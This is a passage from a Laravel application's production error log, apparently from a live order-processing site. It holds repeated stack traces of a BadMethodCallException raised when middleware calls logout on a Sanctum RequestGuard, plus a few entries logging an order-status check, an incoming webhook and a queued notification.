#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:59] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:00] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01"} 
[2026-03-24 22:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","total_operations":1,"sites_count":1} 
[2026-03-24 22:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-bOUY-1774379510"]} 
[2026-03-24 22:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327} 
[2026-03-24 22:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327,"processed":0,"errors":0} 
[2026-03-24 22:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"LCAG9UpgmZ4drLFUi95sGkr9uVNclCxu","execution_time":"2026-03-24 22:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bOUY-1774379510","operation_id":164327} 
[2026-03-24 22:14:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bOUY-1774379510","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:14:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-bOUY-1774379510","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:14:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:14:05] production.INFO: SendAcceptReject: Notification queued {"user_id":1463,"notification_type":"order_approved","reference_id":179454} 
[2026-03-24 22:14:05] production.INFO: Order updated successfully. Order ID: 179454, Status: completed  
[2026-03-24 22:14:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bOUY-1774379510","status":"completed","codes_count":0} 
[2026-03-24 22:14:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 22:14:09] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
